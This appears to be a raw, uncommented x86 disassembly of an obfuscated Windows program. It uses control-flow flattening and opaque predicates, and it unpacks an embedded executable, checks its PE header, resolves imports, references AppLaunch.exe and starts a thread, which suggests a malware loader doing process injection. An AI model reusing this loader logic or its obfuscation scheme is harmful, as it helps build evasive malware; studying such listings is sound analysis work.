mov eax, dword [0x4af424]
mov edi, 0xc5d6aab5
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xdb364e59
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x47614]
cmovge ecx, edx
mov eax, dword [eax]
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
setne byte [ebp - 0x4764e]
jmp 0x4016c0
cmp ecx, 0x22ab70c7
je 0x4050a9
cmp ecx, 0x23aaee86
je 0x4050b3
cmp ecx, 0x24cb3ea6
jne 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x11f4fd45
jmp 0x4040a1
cmp ecx, 0x9c9eb6fd
je 0x4050ed
cmp ecx, 0x9da3723b
je 0x405106
cmp ecx, 0x9fdff5de
jne 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0x2b50eee5
mov ebx, 0xa7a06694
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xa7a06694
jmp 0x4016a7
cmp ecx, 0x5d9d2c2f
je 0x405161
cmp ecx, 0x5e15d81d
je 0x40516b
cmp ecx, 0x5ee3c5d6
jne 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x4899e64c
jmp 0x404d4c
cmp ecx, 0xeb633235
je 0x405192
cmp ecx, 0xebcd373a
je 0x4051ab
cmp ecx, 0xedbd718f
jne 0x4016c0
mov eax, dword [ebp - 0x4761c]
mov ecx, 0x898d500d
movzx eax, word [eax + 0x14]
add eax, dword [ebp - 0x47720]
mov dword [ebp - 0x47670], 0
mov dword [ebp - 0x47694], eax
jmp 0x4016c0
cmp ecx, 0x3fe5dbb1
je 0x4051c4
cmp ecx, 0x402ef04d
je 0x40520d
cmp ecx, 0x42d7e081
jne 0x4016c0
mov ecx, 0x2988cb5f
jmp 0x4016c0
cmp ecx, 0xc611c086
je 0x405217
cmp ecx, 0xc7b433f0
je 0x405227
cmp ecx, 0xc8d568c7
jne 0x4016c0
cmp byte [ebp - 0x4764e], 0
mov ecx, 0x49d0d594
mov eax, 0x61da2571
cmovne ecx, eax
jmp 0x4016c0
cmp ecx, 0x7f2e7ca9
je 0x405243
cmp ecx, 0x7f416f59
je 0x405275
cmp ecx, 0x7fedb7be
jne 0x4016c0
mov ecx, 0x3690a7bc
jmp 0x4016c0
cmp ecx, 0x9528160
je 0x405291
cmp ecx, 0xb2a80ce
jne 0x405a59
mov eax, dword [ebp - 0x47614]
mov ecx, 0xb8ff4f06
jmp 0x4016c0
cmp ecx, 0xd39a27e
je 0x4052ba
cmp ecx, 0xd781297
jne 0x4016c0
mov ecx, 0x28443046
jmp 0x4016c0
cmp ecx, 0x83655620
je 0x40530a
cmp ecx, 0x846a9f3c
jne 0x4016c0
mov eax, dword [ebp - 0x476a0]
mov eax, dword [ebp - 0x476a4]
mov eax, dword [ebp - 0x476a0]
mov eax, dword [ebp - 0x476a4]
mov eax, dword [ebp - 0x476a0]
mov eax, dword [ebp - 0x476a4]
mov ecx, 0xe9edcad0
jmp 0x4016c0
cmp ecx, 0x4300bd54
je 0x40533c
cmp ecx, 0x44d8a41c
jne 0x4016c0
mov eax, dword [ebp - 0x47614]
mov ecx, 0x3dd38c90
cmp dword [eax], 0
sets byte [ebp - 0x4764d]
jmp 0x4016c0
cmp ecx, 0xca0f8686
je 0x405355
cmp ecx, 0xca860ef4
jne 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0xbf75caf5
mov edi, 0xb8590c7a
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xb8590c7a
jmp 0x40597e
cmp ecx, 0x28443046
je 0x40536e
cmp ecx, 0x28a66b4c
jne 0x4016c0
mov ecx, 0x6c7dd32d
jmp 0x4016c0
cmp ecx, 0xa00e5a5e
je 0x4053a9
cmp ecx, 0xa08a0e7e
jne 0x4016c0
mov eax, dword [ebp - 0x47718]
mov ecx, dword [ebp - 0x47714]
cmp ecx, dword [eax + 0x1c]
mov ecx, 0x6d4f989b
setne byte [ebp - 0x47645]
jmp 0x4016c0
cmp ecx, 0x5fa3202e
je 0x4053d0
cmp ecx, 0x60cc6f95
jne 0x4016c0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4af428]
mov ebx, 0xf717c156
mov edi, 0x6aa7f3a2
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x6aa7f3a2
jmp 0x40597e
cmp ecx, 0xee12a6bb
je 0x4053da
cmp ecx, 0xeec9c972
jne 0x4016c0
push 0x400
lea eax, [ebp - 0x47610]
push eax
push esi
vzeroupper
call fcn.0043f350
add esp, 0xc
mov eax, dword [ebp - 0x4761c]
mov ecx, 0xdf5199cb
mov dword [ebp - 0x4771c], eax
jmp 0x4016c0
cmp ecx, 0x185d97d6
je 0x4053f3
cmp ecx, 0x1868257f
jne 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0x372e8efa
mov ebx, 0xc611c086
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xc611c086
jmp 0x4016a7
cmp ecx, 0x90354a85
je 0x40547b
cmp ecx, 0x91196d0f
jne 0x4016c0
mov ecx, 0x9da3723b
jmp 0x4016c0
cmp ecx, 0x5244eecc
je 0x405494
cmp ecx, 0x530a37b6
jne 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x3bb7713e
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x5d16d081
cmovne ebx, edi
test edx, ecx
mov ecx, ebx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x476d4]
cmovge ecx, ebx
cmp eax, dword [ebp - 0x476d8]
setb byte [ebp - 0x47647]
jmp 0x4016c0
cmp ecx, 0xdb364e59
je 0x40549e
cmp ecx, 0xdb64df45
jne 0x4016c0
mov ecx, 0x1c0c2325
jmp 0x4016c0
cmp ecx, 0x3690a7bc
je 0x4054ae
cmp ecx, 0x36ed30d1
jne 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xddb9e771
mov dword [ebp - 0x47618], 2
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x402ef04d
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
cmovge ecx, edi
jmp 0x4016c0
cmp ecx, 0xb3fcf2bf
je 0x4054c9
cmp ecx, 0xb48eb127
jne 0x4016c0
push eax
mov eax, esp
mov dword [ebp - 0x4765c], eax
push eax
mov eax, esp
mov dword [ebp - 0x47640], eax
push eax
mov eax, esp
mov dword [ebp - 0x47630], eax
push eax
mov eax, esp
mov dword [ebp - 0x47660], eax
push eax
mov eax, esp
mov dword [ebp - 0x4762c], eax
push eax
mov eax, esp
mov dword [ebp - 0x47634], eax
push eax
mov eax, esp
mov dword [ebp - 0x47624], eax
push eax
mov eax, esp
mov dword [ebp - 0x47664], eax
push eax
mov eax, esp
mov dword [ebp - 0x47638], eax
push eax
mov eax, esp
mov dword [ebp - 0x476ac], eax
push eax
mov eax, esp
mov dword [ebp - 0x47620], eax
push eax
mov eax, esp
mov dword [ebp - 0x47628], eax
push eax
mov eax, esp
mov dword [ebp - 0x47614], eax
push eax
mov eax, esp
mov dword [ebp - 0x47674], eax
push eax
mov eax, esp
mov dword [ebp - 0x47698], eax
push eax
mov eax, esp
mov dword [ebp - 0x47678], eax
push eax
mov eax, esp
mov dword [ebp - 0x4763c], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x4767c], eax
push eax
mov eax, esp
mov dword [ebp - 0x47680], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x47684], eax
push eax
mov eax, esp
mov dword [ebp - 0x4769c], eax
push 0x47600
push 0x45b218
lea edi, [ebp - 0x47610]
push edi
vzeroupper
call fcn.0043f350
add esp, 0xc
push 0x47600
push edi
call fcn.00401460
add esp, 8
mov eax, dword [ebp - 0x475d4]
mov dword [ebp - 0x47700], edi
mov edi, 0x207e3d31
mov ebx, 0x4f8739f6
mov dword [ebp - 0x47704], eax
mov eax, dword [0x4af428]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x4f8739f6
jmp 0x4016a7
cmp ecx, 0x73562461
je 0x4054d3
cmp ecx, 0x73d707a9
jne 0x4016c0
mov eax, dword [ebp - 0x47644]
mov eax, dword [ebp - 0x47644]
mov eax, dword [ebp - 0x47644]
mov eax, dword [ebp - 0x47644]
mov eax, dword [ebp - 0x47644]
mov eax, dword [ebp - 0x47644]
mov ecx, 0xdf05f33f
jmp 0x4016c0
cmp ecx, 0xf97d8240
je 0x4054ec
cmp ecx, 0xf9ff2656
jne 0x4016c0
mov eax, dword [ebp - 0x476e0]
mov ecx, 0x35d6582a
jmp 0x4016c0
cmp ecx, 0x11f4fd45
je 0x4054f6
cmp ecx, 0x11f87dbc
jne 0x4016c0
mov ecx, 0x7419ecaf
jmp 0x4016c0
cmp ecx, 0x89c70494
je 0x405500
cmp ecx, 0x8c75e850
jne 0x4016c0
mov eax, dword [ebp - 0x47628]
mov ecx, 0x2a2c25ff
mov dword [eax], 2
jmp 0x4016c0
cmp ecx, 0x4a806727
je 0x405562
cmp ecx, 0x4ad61764
jne 0x4016c0
mov eax, dword [0x4af428]
mov ebx, 0xd39a27e
mov edi, 0x92738176
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x92738176
jmp 0x40597e
cmp ecx, 0xd28761ff
je 0x405576
cmp ecx, 0xd2ba7305
jne 0x4016c0
mov eax, dword [ebp - 0x47700]
mov ecx, dword [ebp - 0x47704]
cmp dword [ecx + eax], 0x4550
lea edx, [ecx + eax]
mov ecx, 0x2a0c64d0
mov eax, 0x6a2c8b8a
mov dword [ebp - 0x4761c], edx
cmove ecx, eax
jmp 0x4016c0
cmp ecx, 0x2db9e2c3
je 0x40559d
cmp ecx, 0x2edda587
jne 0x4016c0
mov eax, dword [ebp - 0x476cc]
mov eax, dword [ebp - 0x476d0]
mov ecx, 0x23aaee86
jmp 0x4016c0
cmp ecx, 0xa61030c2
je 0x4055a7
cmp ecx, 0xa7a06694
jne 0x4016c0
mov dword [ebp - 0x4768c], 0
mov ecx, 0x2b50eee5
jmp 0x4016c0
cmp ecx, 0x6a2c8b8a
je 0x4055b1
cmp ecx, 0x6a9420bf
jne 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xa44c91dc
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x4df3762f
jmp 0x405a2c
cmp ecx, 0xf4644857
je 0x4055c7
cmp ecx, 0xf483feb9
jne 0x4016c0
mov eax, dword [ebp - 0x4763c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47684]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x4767c]
mov ecx, dword [ebp - 0x4763c]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
mov ecx, 0xfed39096
mov eax, dword [ebp - 0x4767c]
mov dword [ebp - 0x477b0], eax
jmp 0x4016c0
cmp ecx, 0x1deff1d8
je 0x405617
cmp ecx, 0x1e233c30
jne 0x4016c0
mov ecx, 0x172c77f7
jmp 0x4016c0
cmp ecx, 0x977e3632
je 0x405639
cmp ecx, 0x97e52bd9
jne 0x4016c0
mov eax, dword [ebp - 0x4761c]
cmp dword [ebp - 0x47690], 0
mov ecx, 0x4a806727
mov edx, 0xbdf5fedc
mov eax, dword [eax + 0x50]
cmove ecx, edx
mov dword [ebp - 0x47708], eax
jmp 0x4016c0
cmp ecx, 0x5875c407
je 0x405696
cmp ecx, 0x59c4fca0
jne 0x4016c0
vmovups ymm0, ymmword [0x4a2870]
vmovups ymm1, ymmword [0x4a2858]
mov eax, dword [ebp - 0x4767c]
vmovups ymm2, ymmword [0x4a2838]
mov ecx, 0xf483feb9
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x47680]
mov eax, dword [ebp - 0x4761c]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x47680]
setne byte [eax]
mov eax, dword [ebp - 0x47684]
mov eax, dword [ebp - 0x47680]
cmp byte [eax], 0
mov eax, 0x1d33d10f
cmove ecx, eax
jmp 0x4016c0
cmp ecx, 0xe21c9736
je 0x4056e6
cmp ecx, 0xe29ace16
jne 0x4016c0
mov ecx, 0x57f7c8eb
jmp 0x4016c0
cmp ecx, 0x39e8cf15
je 0x405713
cmp ecx, 0x3a663691
jne 0x4016c0
mov ecx, 0xea54390
jmp 0x4016c0
cmp ecx, 0xbd12184a
je 0x40571d
cmp ecx, 0xbd4e67c3
jne 0x4016c0
mov eax, dword [ebp - 0x47634]
mov eax, dword [ebp - 0x47624]
mov ecx, 0x977e3632
jmp 0x4016c0
cmp ecx, 0x79ecc2e4
je 0x405727
cmp ecx, 0x7ab7b0b0
jne 0x4016c0
mov ecx, 0x21f8ca1f
jmp 0x4016c0
cmp ecx, 0xfd67b8
je 0x405731
cmp ecx, 0x1607cff
jne 0x4016c0
mov ecx, 0x11c1cabe
jmp 0x4016c0
cmp ecx, 0xed41063
je 0x405747
cmp ecx, 0xedc19de
jne 0x4016c0
mov eax, dword [ebp - 0x476dc]
mov eax, dword [eax]
add eax, dword [ebp - 0x47764]
mov ecx, dword [ebp - 0x476dc]
mov dword [ecx], eax
mov ecx, 0xce186584
jmp 0x4016c0
cmp ecx, 0x885ba01d
je 0x405757
cmp ecx, 0x88dba2e9
jne 0x4016c0
mov eax, dword [ebp - 0x47624]
mov eax, dword [ebp - 0x47624]
mov ecx, 0xb58d3fc1
mov dword [eax], 0
jmp 0x4016c0
cmp ecx, 0x4899e64c
je 0x405770
cmp ecx, 0x48ba34de
jne 0x4016c0
mov dword [ebp - 0x47618], 0xc
mov ecx, 0xf7aca87a
jmp 0x4016c0
cmp ecx, 0xcea43380
je 0x40577a
cmp ecx, 0xceda333a
jne 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x57f7c8eb
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xe29ace16
jmp 0x405a2c
cmp ecx, 0x2b50eee5
je 0x405790
cmp ecx, 0x2c17c83e
jne 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0x7e005527
mov ebx, 0xf70941ee
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xf70941ee
jmp 0x4016a7
cmp ecx, 0xa35ecc5b
je 0x4057de
cmp ecx, 0xa44c91dc
jne 0x4016c0
mov ecx, 0xc7b433f0
jmp 0x4016c0
cmp ecx, 0x6604e6df
je 0x4057e8
cmp ecx, 0x662b4c43
jne 0x4016c0
mov eax, dword [ebp - 0x47630]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47784]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0xc]
mov ecx, 0xe8f0d5a4
add eax, dword [ebp - 0x47780]
mov dword [ebp - 0x476e4], eax
jmp 0x4016c0
cmp ecx, 0xf0a07091
je 0x405807
cmp ecx, 0xf1e340ac
jne 0x4016c0
mov eax, dword [ebp - 0x47634]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47624]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, dword [ebp - 0x47664]
add eax, esi
mov dword [ecx], eax
mov eax, dword [ebp - 0x47638]
mov eax, dword [ebp - 0x47634]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47624]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
mov eax, dword [ebp - 0x4762c]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [0x4af428]
mov edx, dword [0x4af424]
mov edi, 0x39e8cf15
mov dword [ebp - 0x47788], eax
lea ecx, [ebx + 1]
imul ecx, ebx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
mov ebx, 0x2ce3a03c
cmovne ebx, edi
cmp ecx, 0xffffffff
mov ecx, ebx
cmove ecx, edi
cmp edx, 0xa
cmovge ecx, ebx
jmp 0x4016c0
cmp ecx, 0x1abc3d92
je 0x40582e
cmp ecx, 0x1c0c2325
jne 0x4016c0
mov ecx, 0xfe1cddfb
jmp 0x4016c0
cmp ecx, 0x9456ce33
je 0x405838
cmp ecx, 0x9489b37d
jne 0x4016c0
mov ecx, 0xf4644857
jmp 0x4016c0
cmp ecx, 0x55f387e4
je 0x40585e
cmp ecx, 0x55fbfb68
jne 0x4016c0
mov eax, dword [ebp - 0x477a4]
mov ecx, dword [ebp - 0x477a8]
mov edx, dword [ebp - 0x47620]
mov edi, esi
mov esi, dword [ebp - 0x47694]
mov edx, dword [edx]
lea ecx, [ecx + ecx*4]
lea edx, [edx + edx*4]
mov edx, dword [esi + edx*8 + 0xc]
mov esi, edi
add edx, edi
push dword [ebp - 0x476ac]
push dword [ebp - 0x477a0]
push dword [eax + ecx*8 + 8]
push edx
vzeroupper
call fcn.004015c0
add esp, 0x10
mov eax, dword [ebp - 0x47614]
mov eax, dword [ebp - 0x47628]
mov ecx, 0xbe91cc25
jmp 0x4016c0
cmp ecx, 0xdf05f33f
je 0x405877
cmp ecx, 0xdf5199cb
jne 0x4016c0
mov eax, dword [ebp - 0x4771c]
mov ecx, 0xedbd718f
add eax, 0x18
mov dword [ebp - 0x47720], eax
jmp 0x4016c0
cmp ecx, 0x381b6ba6
je 0x4058d2
cmp ecx, 0x384efec3
jne 0x4016c0
mov ecx, 0x83655620
jmp 0x4016c0
cmp ecx, 0xb6042351
je 0x405904
cmp ecx, 0xb70c89f1
jne 0x4016c0
mov eax, dword [ebp - 0x47778]
mov ecx, 0x7f2e7ca9
add eax, 8
mov dword [ebp - 0x4777c], eax
jmp 0x4016c0
cmp ecx, 0x77291ab1
je 0x405956
cmp ecx, 0x77548222
jne 0x4016c0
mov ecx, 0xa82afb72
jmp 0x4016c0
cmp ecx, 0xfc971fd0
je 0x40599b
cmp ecx, 0xfcb854c2
jne 0x4016c0
cmp dword [ebp - 0x476f0], 0
mov eax, dword [0x4af428]
mov edi, 0x131ea04b
mov ebx, 0x6342c023
lea ecx, [eax + 1]
setne byte [ebp - 0x47651]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x6342c023
jmp 0x4016a7
cmp ecx, 0x154fb993
je 0x4059a5
cmp ecx, 0x15b3bd96
jne 0x4016c0
mov eax, dword [ebp - 0x47750]
mov eax, dword [eax]
add eax, dword [ebp - 0x4774c]
mov ecx, dword [ebp - 0x4766c]
mov dword [ebp - 0x476f8], eax
mov eax, dword [ecx + 4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ebp - 0x476f4], eax
lea eax, [ecx + 8]
mov ecx, 0xc18ff6cf
mov dword [ebp - 0x47658], eax
mov eax, dword [ebp - 0x4765c]
mov eax, dword [ebp - 0x4765c]
mov dword [eax], 0
jmp 0x4016c0
cmp ecx, 0x8e9f3503
je 0x4059af
cmp ecx, 0x8ec3fdac
jne 0x4016c0
mov dword [ebp - 0x47618], 0xa
mov ecx, 0x3912f6d9
jmp 0x4016c0
cmp ecx, 0x4d0288de
je 0x4059d5
cmp ecx, 0x4df3762f
jne 0x4016c0
mov ecx, 0x6a9420bf
jmp 0x4016c0
cmp ecx, 0xd6e59c93
je 0x4059ff
cmp ecx, 0xd717c5e4
jne 0x4016c0
mov ecx, 0xf1f2a037
jmp 0x4016c0
cmp ecx, 0x31d816a7
je 0x405a41
cmp ecx, 0x3205baf0
jne 0x4016c0
mov eax, dword [ebp - 0x476ac]
mov eax, dword [0x4af428]
mov edi, 0x6a9420bf
mov ebx, 0x4df3762f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x4df3762f
jmp 0x4016a7
mov ecx, 0x8758768f
jmp 0x4016c0
mov ecx, 0x9a0b1497
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x8fe20247
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd8230f47
jmp 0x404efa
cmp byte [ebp - 0x47645], 0
mov ecx, 0xeec9c972
mov eax, 0x98406645
cmovne ecx, eax
jmp 0x4016c0
mov ecx, 0xd28761ff
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xb8ff4f06
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xb2a80ce
jmp 0x404efa
mov eax, dword [ebp - 0x47634]
mov eax, dword [0x4af428]
mov ebx, 0x8e9f3503
mov edi, 0x956787d1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x956787d1
jmp 0x40597e
mov eax, dword [ebp - 0x47658]
mov ebx, 0x1e233c30
mov edi, 0x7ab7b0b0
add eax, 2
mov dword [ebp - 0x47768], eax
mov eax, dword [0x4af428]
lea ecx, [eax + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xfffffffe
test ecx, eax
mov ecx, 0x7ab7b0b0
jmp 0x40597e
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x83655620
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x384efec3
jmp 0x404efa
mov eax, dword [ebp - 0x47664]
mov eax, dword [0x4af428]
mov edi, 0xf1e340ac
mov ebx, 0x2ce3a03c
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x2ce3a03c
jmp 0x4016a7
mov eax, dword [ebp - 0x47614]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
and ecx, eax
mov dword [ebp - 0x476f0], ecx
mov ecx, 0xfd90607
jmp 0x4016c0
mov eax, dword [ebp - 0x4775c]
shr eax, 0xc
mov ecx, eax
xor ecx, 0xffffc
and ecx, eax
mov dword [ebp - 0x47760], ecx
mov ecx, 0x5aa0d8fb
jmp 0x4016c0
mov eax, dword [ebp - 0x476a0]
mov edi, 0x22ab70c7
mov ebx, 0x846a9f3c
add eax, dword [ebp - 0x476a4]
mov dword [ebp - 0x476dc], eax
mov eax, dword [0x4af428]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x846a9f3c
jmp 0x4016a7
mov ecx, 0xea75f484
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0xd26f537b
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x791a2a3a
jmp 0x404efa
cmp byte [ebp - 0x4764d], 0
mov ecx, 0x49d0d594
mov eax, 0xf0a07091
cmovne ecx, eax
jmp 0x4016c0
mov eax, dword [ebp - 0x4765c]
mov ecx, 0xfd67b8
mov eax, dword [eax]
mov dword [ebp - 0x47754], eax
jmp 0x4016c0
mov ecx, 0x898d500d
jmp 0x4016c0
mov eax, dword [ebp - 0x47620]
mov ebx, 0xfc971fd0
mov edi, 0xf70941ee
mov eax, dword [eax]
mov dword [ebp - 0x476e8], eax
mov eax, dword [ebp - 0x4761c]
movzx eax, word [eax + 6]
mov word [ebp - 0x47686], ax
mov eax, dword [0x4af428]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xf70941ee
jmp 0x40597e
mov eax, dword [ebp - 0x4770c]
mov ecx, 0x4ad61764
add eax, 0x1c
mov dword [ebp - 0x476c0], eax
jmp 0x4016c0
mov eax, dword [ebp - 0x476ec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47614]
mov dword [ecx], eax
mov ecx, 0xa2466034
mov eax, dword [ebp - 0x47614]
jmp 0x4016c0
mov eax, dword [ebp - 0x477b8]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x477b4]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x4769c]
mov dword [ecx], eax
mov ecx, 0xd83c6b17
mov eax, dword [ebp - 0x47680]
cmp byte [eax], 0
mov eax, 0x9da3723b
cmove ecx, eax
jmp 0x4016c0
mov eax, dword [0x4af428]
mov edi, 0x190fb17e
mov ebx, 0xeece0662
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xeece0662
jmp 0x4016a7
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x24cb3ea6
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x38df4389
jmp 0x405a2c
mov eax, dword [ebp - 0x47670]
mov ebx, esi
mov esi, dword [ebp - 0x47694]
mov edx, 0x9ae1b234
mov edi, 0x1265f56f
lea eax, [eax + eax*4]
mov ecx, dword [esi + eax*8 + 0xc]
add ecx, ebx
mov dword [ebp - 0x47730], ecx
lea ecx, [ebp - 0x47610]
mov eax, dword [esi + eax*8 + 0x14]
mov dword [ebp - 0x47738], esi
mov esi, ebx
add eax, ecx
mov dword [ebp - 0x47734], eax
mov eax, dword [0x4af428]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x1265f56f
sete al
cmove ecx, edx
cmp dword [0x4af424], 0xa
setl dl
cmovge ecx, edi
xor dl, al
mov edx, 0x9ae1b234
cmovne ecx, edx
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x5be45ac1
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xcea43380
jmp 0x405a2c
mov ecx, 0x79df6e8e
jmp 0x4016c0
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x5875c407
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x48bccb34
jmp 0x404efa
mov eax, dword [ebp - 0x47754]
mov ecx, 0x7c4e36ed
cmp eax, dword [ebp - 0x47758]
mov eax, 0x90354a85
cmovl ecx, eax
jmp 0x4016c0
mov eax, dword [ebp - 0x47634]
mov eax, dword [ebp - 0x47640]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47630]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov ecx, dword [ebp - 0x47634]
add eax, esi
mov dword [ecx], eax
mov ecx, 0x88dba2e9
jmp 0x4016c0
mov eax, dword [ebp - 0x4762c]
mov eax, dword [ebp - 0x47660]
mov eax, dword [0x4af428]
mov ebx, 0x9501b959
mov edi, 0x1def9cd6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x1def9cd6
jmp 0x40597e
mov edx, dword [0x4af428]
mov eax, dword [0x4af424]
mov edi, 0x17e95c9
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x1659c121
jmp 0x404efa
mov ecx, 0x55fbfb68
jmp 0x4016c0
mov eax, dword [ebp - 0x476ec]
mov edi, 0xe7852ee8
mov ebx, 0x505cd89
mov eax, dword [eax]
mov ecx, dword [ebp - 0x47614]
mov dword [ecx], eax
mov eax, dword [ebp - 0x47614]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
